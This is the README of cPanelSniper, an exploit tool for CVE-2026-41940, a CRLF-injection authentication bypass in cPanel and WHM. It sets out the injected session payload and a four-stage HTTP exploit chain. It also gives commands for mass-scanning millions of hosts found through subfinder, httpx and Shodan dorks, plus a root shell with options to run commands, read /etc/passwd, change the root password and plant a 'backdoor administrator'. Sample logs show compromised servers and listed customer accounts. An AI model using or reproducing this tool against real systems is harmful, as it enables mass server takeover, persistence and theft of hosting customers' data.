CVE-2026-41940 — cPanel 与 WHM 通过会话文件 CRLF 注入实现认证绕过
4 阶段利用链 · 交互式 WHM Shell · 对 1000 万+ 目标真正稳定 · 零内存占用 · 仅依赖标准库
cPanelSniper 是一个针对 CVE-2026-41940 的专项利用框架,该漏洞是影响 cPanel 与 WHM 的严重认证绕过漏洞。该漏洞允许未认证的远程攻击者通过 Authorization HTTP 头向会话文件注入 CRLF 序列,从而获得 root 级别的 WHM 访问权限——无需任何有效凭据。
仅限授权渗透测试和漏洞赏金项目使用。
此版本针对扫描 10,000,000+ 目标进行了优化,且零内存占用。
--resume 从上次中断处继续subfinder、httpx、shodan 无缝配合根本原因位于 Session.pm 中:saveSession() 函数在将会话文件写入磁盘之后才调用 filter_sessiondata()。这意味着嵌入在 Authorization: Basic 头值中的 CRLF 字符会被原样写入会话文件,在净化处理之前注入攻击者控制的字段。
正常流程:
POST /login/ → filter_sessiondata() → 写入会话 → 认证检查
漏洞流程:
POST /login/ → 写入会话(注入 CRLF 载荷)→ filter_sessiondata() → 认证检查读取被污染的文件
Authorization: Basic 值解码后为:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
这些字段被直接写入磁盘上的会话文件。当读回时,cPanel 将会话视为完全认证的 root 会话。
┌─────────────────────────────────────────────────────────────┐
│ 阶段 0 — 规范主机名发现 │
│ GET /openid_connect/cpanelid → 307 → 真实主机名 │
├─────────────────────────────────────────────────────────────┤
│ 阶段 1 — 铸造预认证会话 │
│ POST /login/?login_only=1 (错误凭据) │
│ ← 401 + whostmgrsession cookie │
├─────────────────────────────────────────────────────────────┤
│ 阶段 2 — CRLF 注入 │
│ GET / + Cookie: session + Authorization: Basic <载荷> │
│ cpsrvd 将 CRLF 字段写入会话文件 │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ 阶段 3 — 传播(do_token_denied 小工具) │
│ GET /scripts2/listaccts │
│ 触发 raw→cache 刷新 — 注入字段变为生效状态 │
│ ← 401 Token denied(预期行为) │
├─────────────────────────────────────────────────────────────┤
│ 阶段 4 — 验证 WHM root 访问权限 │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = 已被攻破 │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
无需 pip 安装。仅需纯 Python 3.8+ 标准库。
# 单目标 — 仅扫描
python3 cPanelSniper.py -u https://target.com:2087
# 单目标 — 绕过后进入交互式 shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# 大型目标列表 — 1000 万+ 目标(真正稳定)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# 断点续扫被中断的扫描
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# 列出服务器上的所有 cPanel 账户
python3 cPanelSniper.py -u https://target.com:2087 --action list
# 执行操作系统命令
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# 获取服务器信息(主机名、负载、磁盘、MySQL 主机)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# 获取 cPanel 版本
python3 cPanelSniper.py -u https://target.com:2087 --action version
# 修改 root 密码
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# 交互式 WHM shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → 保存到文件 → 扫描 1000 万+ 目标
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# 从范围列表 - 处理数百万个域名
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Shodan 结果 - 大规模扫描
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# stdin 管道 - 仅适用于小型列表(<10 万)
echo "https://target.com:2087" | python3 cPanelSniper.py
# 多来源合并 → 大规模扫描
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
扫描 1000 万+ 目标时:
始终先保存到文件 - 大型列表不要直接使用管道
# 良好 - 适用于 1000 万+ 目标
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# 不佳 - 大型列表会崩溃
httpx ... | python3 cPanelSniper.py
使用适当的线程数
长时间扫描启用自动断点续扫
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
如果被中断,只需使用 --resume 再次运行
监控进度
成功绕过后,--action shell 标志会进入交互式提示符:
════════════════════════════════════════════════════════════
WHM Shell — target.com
版本: CVE-2026-41940 | 认证: CRLF 绕过
输入 'help' 查看命令,'exit' 退出
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel 账户] target.com:2087 (47 个用户)
user01 域名: example.com 邮箱: [email protected]
user02 域名: shop.com 邮箱: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[服务器信息] https://target.com:2087
主机名: srv01.target.com
负载: 0.72 / 0.66 / 0.69
版本: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[后门管理员已创建]
目标 : https://target.com:2087
用户名 : mitsec
密码 : P@ss2026!
配置文件: super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
目标:
-u, --url URL 单个目标 URL(例如 https://host:2087)
-l, --list LIST 包含 URL 的文件(每行一个)
--hostname HOSTNAME 覆盖规范 Host 头(自动发现)
扫描:
-t, --threads N 并发线程数(默认:20)
--timeout N 请求超时秒数(默认:15)
--resume 从上次扫描断点续扫(跳过已处理目标)
输出:
-o, --output FILE 将结果保存到 JSON 文件
--no-color 禁用 ANSI 颜色
--save-interval N 每 N 秒保存一次结果(默认:60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel 与 WHM 通过 CRLF 注入实现认证绕过
4 阶段: 预认证 → CRLF 注入 → 传播 → 验证 → 利用后
野外利用 | CVSS 10.0 | 作者 Mitsec (@ynsmroztas)
配置:
目标 : 1
线程 : 10
超时 : 15s
操作 : list
14:46:22 [扫描] 正在启动 4 阶段利用链... https://target.com:2087
14:46:23 [信息] 已发现规范主机名: srv01.target.com
14:46:23 [步骤] 阶段 1/4 — 铸造预认证会话...
14:46:23 [ 成功] 阶段1: 预认证会话 = :QFB4o8XENBqlr6U1...
14:46:23 [步骤] 阶段 2/4 — 通过 Authorization 头进行 CRLF 注入...
14:46:24 [ 成功] 阶段2: HTTP 307 → token=/cpsess8493537756
14:46:24 [步骤] 阶段 3/4 — 触发 do_token_denied 小工具(raw→cache)...
14:46:25 [ 成功] 阶段3: HTTP 401 — do_token_denied 小工具已触发
14:46:25 [步骤] 阶段 4/4 — 验证 WHM root 访问权限...
14:46:26 [已攻破] CVE-2026-41940 已确认 — WHM root 访问权限!
14:46:26 [已攻破] Token : /cpsess8493537756
14:46:26 [已攻破] 版本 : 11.130.0.6
14:46:26 [已攻破] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] 正在执行利用后操作: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel 账户] target.com:2087 (47 个账户)
client01 域名: client01.com 邮箱: [email protected]
client02 域名: client02.net 邮箱: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — 扫描完成
耗时: 5.8s · 目标数: 1
⚡ 1 个易受攻击目标
目标 : https://target.com:2087
版本 : 11.130.0.6
Token : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
注入的 Authorization: Basic 值(base64 解码后)包含 CRLF 序列,这些序列在 cPanel 会话文件中变成换行符:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
cPanel 的会话读取器将这些解析为合法的会话字段,从而授予完整的 root WHM 访问权限。
关键且常被忽视的步骤:在 CRLF 注入(阶段 2)之后,被污染的数据仅存在于原始会话文件中。对 /scripts2/listaccts 的请求会触发内部的 do_token_denied 处理器,该处理器将原始会话数据刷新到会话缓存中。如果没有这次刷新,阶段 4 将返回 403。
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob 哈希(已剥离)
+-- 会话名称(用于注入)
会话名称(%2C 之前的部分)被提取出来,用作后续请求的 cookie 值。
此工具仅用于授权安全测试和漏洞赏金项目。未经授权访问计算机系统属于违法行为。作者不承担任何责任,也不对因使用此工具造成的任何滥用或损害负责。测试前务必获得适当的书面授权。
Mitsec — @ynsmroztas
由 @ynsmroztas 用 ❤️ 制作
| 问题 | 原始版本 | 修复版本 |
|---|
| 内存占用 | 将所有目标加载到内存 | 逐行流式处理目标(0 内存) |
| 1000 万目标 | 内存耗尽 → 被终止 ❌ | 顺利完成 ✅ |
| 断点续扫 | 不支持 | --resume 标志 |
| 进度显示 | 无预计完成时间 | 实时预计完成时间 + 速率 + 统计 |
| 结果保存 | 仅在结束时保存 | 每 60 秒保存(可配置) |
| 分支 | 受影响版本 | 已修复版本 |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| 命令 | 描述 |
|---|
id / whoami | 显示 UID 和主机名 |
hostname | 获取服务器主机名 |
version | cPanel 版本信息 |
info | 负载、磁盘、MySQL 主机、版本 |
accounts | 列出所有 cPanel 用户账户 |
cat <path> | 读取文件内容 |
ls [path] | 列出目录 |
exec <cmd> | 执行操作系统命令 |
addadmin <user> <pass> | 创建后门 WHM 管理员 |
passwd <pass> | 修改 root 密码 |
api <endpoint> [k=v ...] | 原始 WHM JSON API 调用 |
help | 显示所有命令 |
exit | 退出 shell |